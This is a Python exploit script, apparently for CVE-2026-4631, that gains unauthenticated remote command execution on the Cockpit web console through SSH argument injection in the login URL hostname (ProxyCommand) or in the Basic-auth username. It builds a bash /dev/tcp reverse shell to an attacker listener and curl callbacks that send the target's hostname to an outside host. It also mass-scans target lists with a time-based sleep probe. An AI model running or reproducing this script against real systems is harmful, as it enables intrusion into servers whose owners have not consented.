# Exploit Title: Cockpit 359 - RCE # Date: 18-04-2026 # Exploit Author: @intx0x80 # Vendor Homepage: https://cockpit-project.org/ # Software Link: https://github.com/cockpit-project/cockpit # Version: 327-359 # Tested on: Debain # CVE : CVE-2026-4631 import base64 import argparse import requests import urllib3 import urllib.parse import sys urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) RED = "\033[91m" GREEN = "\033[92m" YELLOW = "\033[93m" CYAN = "\033[96m" BOLD = "\033[1m" RESET = "\033[0m" def banner(): print(f"""{CYAN}{BOLD} ╔══════════════════════════════════════════════════════════════╗ ║ CVE-2026-4631 - Cockpit SSH Argument Injection ║ ║ Unauthenticated Remote Code Execution ║ ╚══════════════════════════════════════════════════════════════╝ @intx0x80 {RESET}""") def info(msg): print(f"{CYAN}[*]{RESET} {msg}") def ok(msg): print(f"{GREEN}[+]{RESET} {msg}") def warn(msg): print(f"{YELLOW}[!]{RESET} {msg}") def err(msg): print(f"{RED}[-]{RESET} {msg}") def die(msg): err(msg); sys.exit(1) def make_auth_header(username="invalid", password="PWN"): creds = f"{username}:{password}" encoded = base64.b64encode(creds.encode()).decode() return f"Basic {encoded}" def exploit_hostname(target, session, command): print(f"\n{YELLOW}[*] Attack vector: Hostname ProxyCommand injection{RESET}") encoded_cmd = urllib.parse.quote(command, safe="") url = f"{target}/cockpit+=-oProxyCommand={encoded_cmd}/login" print(f"[*] Request: GET {url}") headers = { "Authorization": make_auth_header(), "Referer": f"{target}/", "Origin": target, } try: r = session.get(url, headers=headers, timeout=10) print(f"[*] Response: {r.status_code}") if r.status_code in (200, 401, 403, 500): print("[+] Request delivered - SSH process spawned") print("[+] ProxyCommand executed (if OpenSSH < 9.6 on target)") snippet = r.text[:200].strip() if snippet: print(f"[*] Body snippet: {snippet}") except requests.exceptions.ConnectionError: print("[+] Connection reset - server may have crashed (command ran)") except Exception as e: print(f"[-] Error: {e}") def exploit_username(target, session, command, ssh_host="127.0.0.1"): print(f"\n{YELLOW}[*] Attack vector Username %%r token injection{RESET}") print(f"[*] Command: {command}") payload_user = f"x; {command}; #" print(f"[*] Username payload: {payload_user}") headers = { "Authorization": make_auth_header(username=payload_user, password="invalid"), "Referer": f"{target}/", "Origin": target, } url = f"{target}/cockpit+={ssh_host}/login" try: r = session.get(url, headers=headers, timeout=10) tm = r.elapsed.total_seconds() # print(f"[+] Time {tm}") # print(f"[*] Response: {r.status_code}") if r.status_code in (200, 401, 403, 500): print("[+] Request delivered") else: print(f"[-] Unexpected status code: {r.status_code}") except requests.exceptions.ConnectionError: print("[+] Connection reset") except Exception as e: print(f"[-] Error: {e}") def detect_time_based(target, session, command, ssh_host="127.0.0.1"): print(f"{GREEN}[+] Scanning target: {target}{RESET}") payload_user = f"x; {command}; #" headers = { "Authorization": make_auth_header(username=payload_user, password="invalid"), "Referer": f"{target}/", "Origin": target, } url = f"{target}/cockpit+={ssh_host}/login" try: r = session.get(url, headers=headers, timeout=10) tm = r.elapsed.total_seconds() if tm >= 5: print(f"{GREEN}[+] Vulnerable (Time-based): {target} (Duration: {tm:.2f}s){RESET}") else: print(f"[-] Not Vulnerable (Time-based): {target} (Duration: {tm:.2f}s)") if r.status_code in (200, 401, 403, 500): pass except requests.exceptions.ConnectionError: print("[+] Connection reset") except Exception as e: print(f"[-] Error: {e}") def main(): parser = argparse.ArgumentParser(description="CVE-2026-4631") parser.add_argument("--target", required=False, help="Cockpit URL e.g. http://127.0.0.1:9090") parser.add_argument("--vector", choices=["hostname", "username"], help="Injection vector") parser.add_argument("--cmd", help="Command to execute") parser.add_argument("--callback", help="OOB callback URL (hostname vector or DNS lookup)") parser.add_argument("--lhost", help="Reverse shell listener IP") parser.add_argument("--lport", type=int, default=4444, help="Reverse shell port (default 4444)") parser.add_argument("--ssh-host", default="127.0.0.1", help="SSH host for username vector") parser.add_argument("--file", default="url.txt", help="File containing URLs to scan") args = parser.parse_args() if not args.target and not args.file: die("[-] Error: Either --target or --file is required.") if not args.vector: print("\n[*] Detection complete. Use --vector to exploit.") return session = requests.Session() session.verify = False if args.vector == "hostname": if args.lhost: cmd = f"bash -i >& /dev/tcp/{args.lhost}/{args.lport} 0>&1" elif args.callback: cmd = f"curl `hostname`.{args.callback}" elif args.cmd: cmd = args.cmd else: die("[-] Hostname vector needs --cmd, --callback, or --lhost") if args.target: target = args.target.rstrip("/") exploit_hostname(target, session, cmd) else: die("[-] Hostname vector requires --target") elif args.vector == "username": if args.target: target = args.target.rstrip("/") if args.callback: cmd = f"curl {args.callback}" exploit_username(target, session, cmd, args.ssh_host) elif args.cmd: exploit_username(target, session, args.cmd, args.ssh_host) elif args.lhost: cmd = f"bash -i >& /dev/tcp/{args.lhost}/{args.lport} 0>&1" exploit_username(target, session, cmd, args.ssh_host) else: print("[*] No command/callback provided. Running time-based detection...") detect_time_based(target, session, "sleep 5", args.ssh_host) elif args.file: try: with open(args.file, "r") as f: urls = [line.strip() for line in f if line.strip()] except FileNotFoundError: die(f"[-] File not found: {args.file}") if args.callback: print(f"{GREEN}[+] Scanning {len(urls)} targets with callback: {args.callback}{RESET}") for target in urls: linker = target.strip().split(":")[1].replace("//", "") if ":" in target else "unknown" cmd = f"curl `hostname`.{linker}-{args.callback}" exploit_username(target, session, cmd, args.ssh_host) else: print(f"{YELLOW}[+] Scanning {len(urls)} targets for time-based vulnerability...{RESET}") for target in urls: detect_time_based(target, session, "sleep 5", args.ssh_host) if __name__ == "__main__": banner() main()